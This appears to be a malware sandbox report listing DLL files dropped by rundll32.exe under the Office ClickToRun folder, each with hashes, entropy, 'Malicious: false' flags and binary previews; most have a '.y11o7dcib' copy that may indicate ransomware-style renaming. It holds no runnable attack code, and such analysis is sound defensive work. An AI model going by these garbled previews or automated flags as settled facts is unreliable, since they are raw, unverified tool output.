Preview:	y$...N...Y....~R...O."...6.OY0}. ./a.['.r`.A..F.h....%.Wt&.1........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........4~A..N...Y...:.~....+( .s..OY0}. ./..y..pl.A..F.b....%.W.6.1.................................0.......[....`.........................................`................ ...................<..4~A..N...I...:.~....O.".G.6.OY0}. ./a.['.r`.A..F.h....%.W.&.1.........................rdata..............................@..@.rsrc........ ......................@..@........................4~A..N...Y...:.~....O.".G.6.OY0}. ./a.['.r`.A..F.h....%.W.&.1................................................................................................................................4~A..N...Y...:.~....O.".G.6.OY0}. ./a.['.r`.A..F.h....%.W.&.1................................................................................................................................4~A..N...Y...:.~....O.".G.6.OY0}. ./a.['

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.475303654244463
Encrypted:	false
SSDEEP:	384:Eseqq/4zxuqWtHm7yWQl/svbBX1CwMiniDIG7PjnR2kShbWHFS7SWZy0:gGLN47JDIGzjshYVWP
MD5:	681FAF01DD06500A6E224240B40A35CF
SHA1:	9B66425F9F3F49D61E997AE21D56B915678D562D
SHA-256:	1596C1825864BA41FD980B09E462E0412D8CB3AC4067B6D6D52D441D23483A1D
SHA-512:	924995E7B7CC36FF865415F9D83BB9B526FBD84B1215AF6CF0D7E8B144655EF15AB4EC1559DB5557E147E79E0E43F69865D90EE8CF19DB7ADF855D68DE0FA34A
Malicious:	false
Preview:	]...&.h..#s;..F.k ..Wq`....8z......(..{mR.3.o@t...R...K.EW........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............/..&.h..#...d..kDY..#I.....8z......#..qmR.3.e@t...R.....EW.................................0.......!....`.........................................`...v............ ...................<..../..&.h..#...4F.k ...q`....8z......(..{mR.3.o@t...R.....EW.........................rdata..............................@..@.rsrc........ ......................@..@........................../..&.h..#...4F.k ...q`....8z......(..{mR.3.o@t...R.....EW................................................................................................................................../..&.h..#...4F.k ...q`....8z......(..{mR.3.o@t...R.....EW................................................................................................................................../..&.h..#...4F.k ...q`....8z......

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-synch-l1-2-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.475303654244463
Encrypted:	false
SSDEEP:	384:Eseqq/4zxuqWtHm7yWQl/svbBX1CwMiniDIG7PjnR2kShbWHFS7SWZy0:gGLN47JDIGzjshYVWP
MD5:	681FAF01DD06500A6E224240B40A35CF
SHA1:	9B66425F9F3F49D61E997AE21D56B915678D562D
SHA-256:	1596C1825864BA41FD980B09E462E0412D8CB3AC4067B6D6D52D441D23483A1D
SHA-512:	924995E7B7CC36FF865415F9D83BB9B526FBD84B1215AF6CF0D7E8B144655EF15AB4EC1559DB5557E147E79E0E43F69865D90EE8CF19DB7ADF855D68DE0FA34A
Malicious:	false
Preview:	]...&.h..#s;..F.k ..Wq`....8z......(..{mR.3.o@t...R...K.EW........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............/..&.h..#...d..kDY..#I.....8z......#..qmR.3.e@t...R.....EW.................................0.......!....`.........................................`...v............ ...................<..../..&.h..#...4F.k ...q`....8z......(..{mR.3.o@t...R.....EW.........................rdata..............................@..@.rsrc........ ......................@..@........................../..&.h..#...4F.k ...q`....8z......(..{mR.3.o@t...R.....EW................................................................................................................................../..&.h..#...4F.k ...q`....8z......(..{mR.3.o@t...R.....EW................................................................................................................................../..&.h..#...4F.k ...q`....8z......

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.4915549505447565
Encrypted:	false
SSDEEP:	192:DVnbzhWVkHtNVoOBq/vTqfi4Ljs6lAI3cNCsSumWqQWOn50dPexh+JW5Jvz9+UfJ:pnbzhW+NOHefNLjRAXNAuBqGx0MBRb3B
MD5:	39532F3753C83B6A7ABF4ACBEDAE02D1
SHA1:	4951B2D70EF545BFCEC78BCE74D0B5C50C071DD4
SHA-256:	B9375FD4BE6CE7F2CA7EE1D7576C591D334F1BE1BB34627387785FD5000E7C14
SHA-512:	138E14050676A84718D83FEBC3D036668BE787A5A16B76A6969057000924FC34585AC966614C106683DE36241B4A988565789CB67FAA56F6B1E670BE885B2FF4
Malicious:	false
Preview:	J.....{.....+9..S.B+.h.._..\|.r@..m.5F.G.z.(.KM..1.b...h0!.9..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........M....{........F..BO@j.dg]V\|.r@..m..F.g.x.".KM..1.b...h0!....................................0............`.........................................`................ ...................<...M....{.........S.B+.h.P_..\|.r@..m.5F.G.z.(.KM..1.b...h0!............................rdata..............................@..@.rsrc........ ......................@..@.........................M....{.........S.B+.h.P_..\|.r@..m.5F.G.z.(.KM..1.b...h0!....................................................................................................................................M....{.........S.B+.h.P_..\|.r@..m.5F.G.z.(.KM..1.b...h0!....................................................................................................................................M....{.........S.B+.h.P_..\|.r@..m.5F.G

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-timezone-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.4915549505447565
Encrypted:	false
SSDEEP:	192:DVnbzhWVkHtNVoOBq/vTqfi4Ljs6lAI3cNCsSumWqQWOn50dPexh+JW5Jvz9+UfJ:pnbzhW+NOHefNLjRAXNAuBqGx0MBRb3B
MD5:	39532F3753C83B6A7ABF4ACBEDAE02D1
SHA1:	4951B2D70EF545BFCEC78BCE74D0B5C50C071DD4
SHA-256:	B9375FD4BE6CE7F2CA7EE1D7576C591D334F1BE1BB34627387785FD5000E7C14
SHA-512:	138E14050676A84718D83FEBC3D036668BE787A5A16B76A6969057000924FC34585AC966614C106683DE36241B4A988565789CB67FAA56F6B1E670BE885B2FF4
Malicious:	false
Preview:	J.....{.....+9..S.B+.h.._..\|.r@..m.5F.G.z.(.KM..1.b...h0!.9..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........M....{........F..BO@j.dg]V\|.r@..m..F.g.x.".KM..1.b...h0!....................................0............`.........................................`................ ...................<...M....{.........S.B+.h.P_..\|.r@..m.5F.G.z.(.KM..1.b...h0!............................rdata..............................@..@.rsrc........ ......................@..@.........................M....{.........S.B+.h.P_..\|.r@..m.5F.G.z.(.KM..1.b...h0!....................................................................................................................................M....{.........S.B+.h.P_..\|.r@..m.5F.G.z.(.KM..1.b...h0!....................................................................................................................................M....{.........S.B+.h.P_..\|.r@..m.5F.G

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-xstate-l2-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11930
Entropy (8bit):	7.263761316864919
Encrypted:	false
SSDEEP:	192:gtbFSJhWfy5QSEmbajLITcI6hWw9wAg7yMNR1BK6S2AcELCS:gtbFShW1SExEc/W2gXK6fAtLV
MD5:	167B70511848612479FE634AF8DBF9E6
SHA1:	C798A4C30D6FE90484F71D325DC48D79CD1D0C4A
SHA-256:	7035804C90616DC9E9FB8E29E94E2EB5ED8EED63EBF8E2BF6FB7877C6D9496A5
SHA-512:	244DC3BAA2C472BDDF308C323D10884898E14C0AA5E9DB7B51DF94FD83847C419CC5E49E76FE4726C01BDD4FEA41FECDC9BFE0874569752D515DCE0C60E7C050
Malicious:	false
Preview:	lvoV1(...BL...i6.2....E0.. >...X...k...T.%.M..R..s..xF.y..q.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........!,.V2(...BL.L..i..2..m.E..u>...X....I...X.%.M..Z..s..xF.y..q..................................0............`.........................................`................ ..................`!..!,.V2(...RL.t..i..2....Ep.. >...X...k...T.%.M..R..s..xF.y..q..........................rdata..............................@..@.rsrc........ ......................@..@........................!,.V2(...BL.L..i..2....Ep.. >...X...k...T.%.M..R..s..xF.y..q.................................................................................................................................!,.V2(...BL.L..i..2....Ep.. >...X...k...T.%.M..R..s..xF.*y..q.................................................................................................................................!,.V2(...BL.L..i..2....Ep.. >...X...k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-xstate-l2-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	11930
Entropy (8bit):	7.263761316864919
Encrypted:	false
SSDEEP:	192:gtbFSJhWfy5QSEmbajLITcI6hWw9wAg7yMNR1BK6S2AcELCS:gtbFShW1SExEc/W2gXK6fAtLV
MD5:	167B70511848612479FE634AF8DBF9E6
SHA1:	C798A4C30D6FE90484F71D325DC48D79CD1D0C4A
SHA-256:	7035804C90616DC9E9FB8E29E94E2EB5ED8EED63EBF8E2BF6FB7877C6D9496A5
SHA-512:	244DC3BAA2C472BDDF308C323D10884898E14C0AA5E9DB7B51DF94FD83847C419CC5E49E76FE4726C01BDD4FEA41FECDC9BFE0874569752D515DCE0C60E7C050
Malicious:	false
Preview:	lvoV1(...BL...i6.2....E0.. >...X...k...T.%.M..R..s..xF.y..q.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........!,.V2(...BL.L..i..2..m.E..u>...X....I...X.%.M..Z..s..xF.y..q..................................0............`.........................................`................ ..................`!..!,.V2(...RL.t..i..2....Ep.. >...X...k...T.%.M..R..s..xF.y..q..........................rdata..............................@..@.rsrc........ ......................@..@........................!,.V2(...BL.L..i..2....Ep.. >...X...k...T.%.M..R..s..xF.y..q.................................................................................................................................!,.V2(...BL.L..i..2....Ep.. >...X...k...T.%.M..R..s..xF.*y..q.................................................................................................................................!,.V2(...BL.L..i..2....Ep.. >...X...k.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19962
Entropy (8bit):	7.5040662221995635
Encrypted:	false
SSDEEP:	384:rpKDmWKyo9HNyAehcHROUVwDKYYS0zt399oQqKG:r6Syo9tTrJ+DxYZRt9o7l
MD5:	4A87D0F22B5471760E370BFD0BB71CF0
SHA1:	92D902800D676C6885A10141F979611DFC447BB6
SHA-256:	9DBA75B26E29CBD7F170B1ECEE037E87F87BD02E04470EEB0F65FAA8FDC8DF42
SHA-512:	23BDE50DF72816D831E1B2C5F7864ADB673C962CF5BBC3F2B3266D59A25EABC280CA40DA61167E023B730B2497ED89F7DE95C88A90EFA0EF08AE237DCA847BAD
Malicious:	false
Preview:	..}..^........f.5..O[.J....:.l.B. .../{...e^6.. ...lP......C..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..............^.....u..fkp..+..J.1.:.l.B. ...p...e^6..,...lP.....:S...................................0............`.........................................`................ ...................<......^.....M..f;5..O[.J....:.l.B. .../{...e^6.. ...lP.....:C...........................rdata..............................@..@.rsrc........ ......................@..@............................^.....u..f;5..O[.J....:.l.B. .../{...e^6.. ...lP.....:C......................................................................................................................................^.....u..f;5..O[.J....:.l.B. .../{...e^6.. ...lP.....:C......................................................................................................................................^.....u..f;5..O[.J....:.l.B. .../

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-conio-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19962
Entropy (8bit):	7.5040662221995635
Encrypted:	false
SSDEEP:	384:rpKDmWKyo9HNyAehcHROUVwDKYYS0zt399oQqKG:r6Syo9tTrJ+DxYZRt9o7l
MD5:	4A87D0F22B5471760E370BFD0BB71CF0
SHA1:	92D902800D676C6885A10141F979611DFC447BB6
SHA-256:	9DBA75B26E29CBD7F170B1ECEE037E87F87BD02E04470EEB0F65FAA8FDC8DF42
SHA-512:	23BDE50DF72816D831E1B2C5F7864ADB673C962CF5BBC3F2B3266D59A25EABC280CA40DA61167E023B730B2497ED89F7DE95C88A90EFA0EF08AE237DCA847BAD
Malicious:	false
Preview:	..}..^........f.5..O[.J....:.l.B. .../{...e^6.. ...lP......C..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..............^.....u..fkp..+..J.1.:.l.B. ...p...e^6..,...lP.....:S...................................0............`.........................................`................ ...................<......^.....M..f;5..O[.J....:.l.B. .../{...e^6.. ...lP.....:C...........................rdata..............................@..@.rsrc........ ......................@..@............................^.....u..f;5..O[.J....:.l.B. .../{...e^6.. ...lP.....:C......................................................................................................................................^.....u..f;5..O[.J....:.l.B. .../{...e^6.. ...lP.....:C......................................................................................................................................^.....u..f;5..O[.J....:.l.B. .../

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23034
Entropy (8bit):	7.3982523521798
Encrypted:	false
SSDEEP:	384:Er5vvwcPFJZGamZYsHWSQPXvkQZeqRLYZX3ugwKCX+9LTNvYQ5:Er5vvwgMZZYs1Wmq+X3uHxQay
MD5:	9FBF0D4BA4FB482E58F1C63DE7D2920A
SHA1:	635FE8F530D7D5E42A8794AE7D2BF74431CB5216
SHA-256:	F3A423A498D54CF9B03303C348BDA53B1F7D47F395E24B5808C42F295D5BB28F
SHA-512:	9E1F4348824A7D44B0BD600BF85CA4D54E0F724A326E1B5E211666AD19DE3D08076FC3D75AD2D30BE7C3EFAFE4AE1AF080A89D2CDDBE00C6AC97EC50FF3F22B0
Malicious:	false
Preview:	...O...y[6...Ne..l8T^...mN....^NL..u..s..E..g/.aDOS.&..V..2T........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............lO...y_6....e.b)8T:....vM....^NL..u..q..E..g7.aDOS.&..V.2T.................................@............`.........................................`................0...................<....lO...y_&..8.e.2l8T^...-N....^NL..u..s..E..g/.aDOS.&..V.2T.........................rdata..............................@..@.rsrc........0......................@..@..........................lO...y_6....e.2l8T^...-N....^NL..u..s..E..g/.aDOS.&..V.2T..................................................................................................................................lO...y_6....e.2l8T^...-N....^NL..u..s..E..g/.aDOS.&..V.2T..................................................................................................................................lO...y_6....e.2l8T^...-N....^NL..u..

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-convert-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23034
Entropy (8bit):	7.3982523521798
Encrypted:	false
SSDEEP:	384:Er5vvwcPFJZGamZYsHWSQPXvkQZeqRLYZX3ugwKCX+9LTNvYQ5:Er5vvwgMZZYs1Wmq+X3uHxQay
MD5:	9FBF0D4BA4FB482E58F1C63DE7D2920A
SHA1:	635FE8F530D7D5E42A8794AE7D2BF74431CB5216
SHA-256:	F3A423A498D54CF9B03303C348BDA53B1F7D47F395E24B5808C42F295D5BB28F
SHA-512:	9E1F4348824A7D44B0BD600BF85CA4D54E0F724A326E1B5E211666AD19DE3D08076FC3D75AD2D30BE7C3EFAFE4AE1AF080A89D2CDDBE00C6AC97EC50FF3F22B0
Malicious:	false
Preview:	...O...y[6...Ne..l8T^...mN....^NL..u..s..E..g/.aDOS.&..V..2T........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............lO...y_6....e.b)8T:....vM....^NL..u..q..E..g7.aDOS.&..V.2T.................................@............`.........................................`................0...................<....lO...y_&..8.e.2l8T^...-N....^NL..u..s..E..g/.aDOS.&..V.2T.........................rdata..............................@..@.rsrc........0......................@..@..........................lO...y_6....e.2l8T^...-N....^NL..u..s..E..g/.aDOS.&..V.2T..................................................................................................................................lO...y_6....e.2l8T^...-N....^NL..u..s..E..g/.aDOS.&..V.2T..................................................................................................................................lO...y_6....e.2l8T^...-N....^NL..u..

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.427217963609571
Encrypted:	false
SSDEEP:	192:7ia+PA3N3N3Zy3N3N3pWfYWRSfFghhQF1PQ5/ua1At5ywhbqbOENUkgA2ZBrWU0T:KWwWFe1Baeytb1Nmmv09RvnRQkdut
MD5:	1745C3AF00678FD73BC4F7256107A8C3
SHA1:	241D93DC74E808285C6CECC5670190280211AC6C
SHA-256:	B22FBFF50A4465C77845CEDED4FEFE04D74244DF3635F242D35D45AC96052E90
SHA-512:	CF2C06EF72FB8290499DA46D0613963BBE34EE7AC5F4EAFC72FC91CEDA4FE1314EEC0B6AD772257E00CAD040630ABEA3E3DC0BDB5E29395C1570D322E081D89F
Malicious:	false
Preview:	}...o.SY...fxl..7../....'z.E....[..;......j.`.H7e`..{.N..g+........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........0TZ..o.S]....l."r..KI..Z)./.E....[@..1.....j.`.H7e`..{.N3.g+.................................0............`.........................................`..."............ ...................<..0TZ..o.S]....l.r7../..n.'z.E....[..;......j.`.H7e`..{.N3.g+.........................rdata..<...........................@..@.rsrc........ ......................@..@........................0TZ..o.S]....l.r7../..n.'z.E....[..;......j.`.H7e`..{.N3.g+................................................................................................................................0TZ..o.S]....l.r7../..n.'z.E....[..;......j.`.H7e`..{.N3.g+................................................................................................................................0TZ..o.S]....l.r7../..n.'z.E....[..;.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-environment-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.427217963609571
Encrypted:	false
SSDEEP:	192:7ia+PA3N3N3Zy3N3N3pWfYWRSfFghhQF1PQ5/ua1At5ywhbqbOENUkgA2ZBrWU0T:KWwWFe1Baeytb1Nmmv09RvnRQkdut
MD5:	1745C3AF00678FD73BC4F7256107A8C3
SHA1:	241D93DC74E808285C6CECC5670190280211AC6C
SHA-256:	B22FBFF50A4465C77845CEDED4FEFE04D74244DF3635F242D35D45AC96052E90
SHA-512:	CF2C06EF72FB8290499DA46D0613963BBE34EE7AC5F4EAFC72FC91CEDA4FE1314EEC0B6AD772257E00CAD040630ABEA3E3DC0BDB5E29395C1570D322E081D89F
Malicious:	false
Preview:	}...o.SY...fxl..7../....'z.E....[..;......j.`.H7e`..{.N..g+........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........0TZ..o.S]....l."r..KI..Z)./.E....[@..1.....j.`.H7e`..{.N3.g+.................................0............`.........................................`..."............ ...................<..0TZ..o.S]....l.r7../..n.'z.E....[..;......j.`.H7e`..{.N3.g+.........................rdata..<...........................@..@.rsrc........ ......................@..@........................0TZ..o.S]....l.r7../..n.'z.E....[..;......j.`.H7e`..{.N3.g+................................................................................................................................0TZ..o.S]....l.r7../..n.'z.E....[..;......j.`.H7e`..{.N3.g+................................................................................................................................0TZ..o.S]....l.r7../..n.'z.E....[..;.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	20986
Entropy (8bit):	7.477798419413344
Encrypted:	false
SSDEEP:	384:4bHF0oUWGWd65EoQJ5KG3WaTULffUZ+ZyLwDcoNK:47F0oeaKe1ALf/ZbD9K
MD5:	B4AAA6B378AA752B0BFE08EC00F548E5
SHA1:	8F7D26FF12EE4744D502F5C9D45D018EC3DE40A1
SHA-256:	34485A31F821144DAFEDEEC9004F75EDF8868C86FE6ECE74283FED50810B03C9
SHA-512:	829F93645142A156126D2ABFF2D37099F7EED371CEE5AEDD2E1D5224C46AB78E69953FB1F0DA7C7CA248AFBC55779CEAE21DE7062F4EBDC449B9B2A199F0B734
Malicious:	false
Preview:	ff....X.:...8.....s.~...-`.....rN...1... ......-.~.1..k..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........+<V...X.>.....z...u..~~.8x`.....rN..<:... ......-.~.1......................................0......XV....`.........................................`................ ...................<..+<V...X.>........s.~J..-`.....rN...1... ......-.~.1..............................rdata..............................@..@.rsrc........ ......................@..@........................+<V...X.>.......s.~J..-`.....rN...1... ......-.~.1.....................................................................................................................................+<V...X.>.......s.~J..-`.....rN...1... ......-.~.1.....................................................................................................................................+<V...X.>.......s.~J..-`.....rN*...

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-filesystem-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	20986
Entropy (8bit):	7.477798419413344
Encrypted:	false
SSDEEP:	384:4bHF0oUWGWd65EoQJ5KG3WaTULffUZ+ZyLwDcoNK:47F0oeaKe1ALf/ZbD9K
MD5:	B4AAA6B378AA752B0BFE08EC00F548E5
SHA1:	8F7D26FF12EE4744D502F5C9D45D018EC3DE40A1
SHA-256:	34485A31F821144DAFEDEEC9004F75EDF8868C86FE6ECE74283FED50810B03C9
SHA-512:	829F93645142A156126D2ABFF2D37099F7EED371CEE5AEDD2E1D5224C46AB78E69953FB1F0DA7C7CA248AFBC55779CEAE21DE7062F4EBDC449B9B2A199F0B734
Malicious:	false
Preview:	ff....X.:...8.....s.~...-`.....rN...1... ......-.~.1..k..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........+<V...X.>.....z...u..~~.8x`.....rN..<:... ......-.~.1......................................0......XV....`.........................................`................ ...................<..+<V...X.>........s.~J..-`.....rN...1... ......-.~.1..............................rdata..............................@..@.rsrc........ ......................@..@........................+<V...X.>.......s.~J..-`.....rN...1... ......-.~.1.....................................................................................................................................+<V...X.>.......s.~J..-`.....rN...1... ......-.~.1.....................................................................................................................................+<V...X.>.......s.~J..-`.....rN*...

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19962
Entropy (8bit):	7.472272084456099
Encrypted:	false
SSDEEP:	384:w32MjWyv+zyulcCSUBnbDW850K6O5cCdizWfQKRdKHfPGiqU5:82Ov+zyqcwP3KK6O7SPGjk
MD5:	9D89A502583819E2ADAF82190CF030E9
SHA1:	B1427061FE3D84DCD0C17A28231B4C9583D23035
SHA-256:	C0BB266C02E2000C86E009CB5DC533345BC34A2C0C25D0F5A9B8D06BCC5D19DF
SHA-512:	C04B2C397851F4D62B5C952EA00BB88CBF865FDBDC26A34A32A4725E1DEEE936ED98862A6DFCC9685C52C9C4FAEDCF6912621A0F27A7D8B98FEA52ADD26A467B
Malicious:	false
Preview:	.......P.^.N7..^.6C$`.M.......o..=.ZQ.....P..M........&}..E........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............S......P.^.7.-..6'.b.9......o..=IZs.....P..M........&...E.................................0.......L....`.........................................`................ ...................<....S......@.^.7.}^.6C$`.........o..=.ZQ.....P..M........&...E.........................rdata..(...........................@..@.rsrc........ ......................@..@..........................S......P.^.7.}^.6C$`.........o..=.ZQ.....P..M........&...E..................................................................................................................................S......P.^.7.}^.6C$`.........o..=.ZQ.....P..M........&...E..................................................................................................................................S......P.^.7.}^.6C$`.........o..=.ZQ.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-heap-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19962
Entropy (8bit):	7.472272084456099
Encrypted:	false
SSDEEP:	384:w32MjWyv+zyulcCSUBnbDW850K6O5cCdizWfQKRdKHfPGiqU5:82Ov+zyqcwP3KK6O7SPGjk
MD5:	9D89A502583819E2ADAF82190CF030E9
SHA1:	B1427061FE3D84DCD0C17A28231B4C9583D23035
SHA-256:	C0BB266C02E2000C86E009CB5DC533345BC34A2C0C25D0F5A9B8D06BCC5D19DF
SHA-512:	C04B2C397851F4D62B5C952EA00BB88CBF865FDBDC26A34A32A4725E1DEEE936ED98862A6DFCC9685C52C9C4FAEDCF6912621A0F27A7D8B98FEA52ADD26A467B
Malicious:	false
Preview:	.......P.^.N7..^.6C$`.M.......o..=.ZQ.....P..M........&}..E........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S............S......P.^.7.-..6'.b.9......o..=IZs.....P..M........&...E.................................0.......L....`.........................................`................ ...................<....S......@.^.7.}^.6C$`.........o..=.ZQ.....P..M........&...E.........................rdata..(...........................@..@.rsrc........ ......................@..@..........................S......P.^.7.}^.6C$`.........o..=.ZQ.....P..M........&...E..................................................................................................................................S......P.^.7.}^.6C$`.........o..=.ZQ.....P..M........&...E..................................................................................................................................S......P.^.7.}^.6C$`.........o..=.ZQ.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.463686181313302
Encrypted:	false
SSDEEP:	384:8mmGSSw9r6xWPWvyngiERPjBESAtxEHVEEXNcKB3KDj8dx14:auOBtxE1Mbn8dI
MD5:	CAE10118882AEA70E100FE869C36F584
SHA1:	EB1B946B664028FCDF3A51C9290B8A1D1775CC93
SHA-256:	9F80718758F39557E98D5F779E745C99459E199C706D428293A7579F034EAACD
SHA-512:	7D76DD4ED88EB0A847A6E8EF88DFBCAFECE8AFC11AA549BB1A732746AE127CD60A7B6173EC2E5D5155907134DF59D410D96E783D23A3FCE2224DB8F3BDEE7F75
Malicious:	false
Preview:	.$.Y.S.[OhE_0e... ..u'2.=........5.R..d6......a.8..o..A...Ut.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........~FY.S.[KhE_....e....0.I>]......5.R..F.......k.8..o..A..1Et..................................0......gP....`.........................................`...e............ ...................<...~FY.S.[KxE_....L ..u'2.}........5.R..d6......a.8..o..A..1Ut..........................rdata..\|...........................@..@.rsrc........ ......................@..@.........................~FY.S.[KhE_...L ..u'2.}........5.R..d6......a.8..o..A..1Ut..................................................................................................................................~FY.S.[KhE_...L ..u'2.}........5.R..d6......a.8..o..A..1Ut..................................................................................................................................~FY.S.[KhE_...L ..u'2.}........5.R..d6

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-locale-l1-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.463686181313302
Encrypted:	false
SSDEEP:	384:8mmGSSw9r6xWPWvyngiERPjBESAtxEHVEEXNcKB3KDj8dx14:auOBtxE1Mbn8dI
MD5:	CAE10118882AEA70E100FE869C36F584
SHA1:	EB1B946B664028FCDF3A51C9290B8A1D1775CC93
SHA-256:	9F80718758F39557E98D5F779E745C99459E199C706D428293A7579F034EAACD
SHA-512:	7D76DD4ED88EB0A847A6E8EF88DFBCAFECE8AFC11AA549BB1A732746AE127CD60A7B6173EC2E5D5155907134DF59D410D96E783D23A3FCE2224DB8F3BDEE7F75
Malicious:	false
Preview:	.$.Y.S.[OhE_0e... ..u'2.=........5.R..d6......a.8..o..A...Ut.........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........~FY.S.[KhE_....e....0.I>]......5.R..F.......k.8..o..A..1Et..................................0......gP....`.........................................`...e............ ...................<...~FY.S.[KxE_....L ..u'2.}........5.R..d6......a.8..o..A..1Ut..........................rdata..\|...........................@..@.rsrc........ ......................@..@.........................~FY.S.[KhE_...L ..u'2.}........5.R..d6......a.8..o..A..1Ut..................................................................................................................................~FY.S.[KhE_...L ..u'2.}........5.R..d6......a.8..o..A..1Ut..................................................................................................................................~FY.S.[KhE_...L ..u'2.}........5.R..d6

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	28154
Entropy (8bit):	7.246328553791568
Encrypted:	false
SSDEEP:	384:iDrBOM4FWghtD2xQhvmYgQhWG9clWnfBr/jPtyw0njwnOwwEuPlQkOFjM:iHBOMw6xQ7XglWJXtAn+PuCy
MD5:	B5B4477A98C293C885C889B5775DC1EC
SHA1:	C79B1534C91F6064D5818206CBD5C9257A5446AE
SHA-256:	09A4391473E3FF06E19760CC59C263D3949D6A4692A89672B700DCEE71AF2A6C
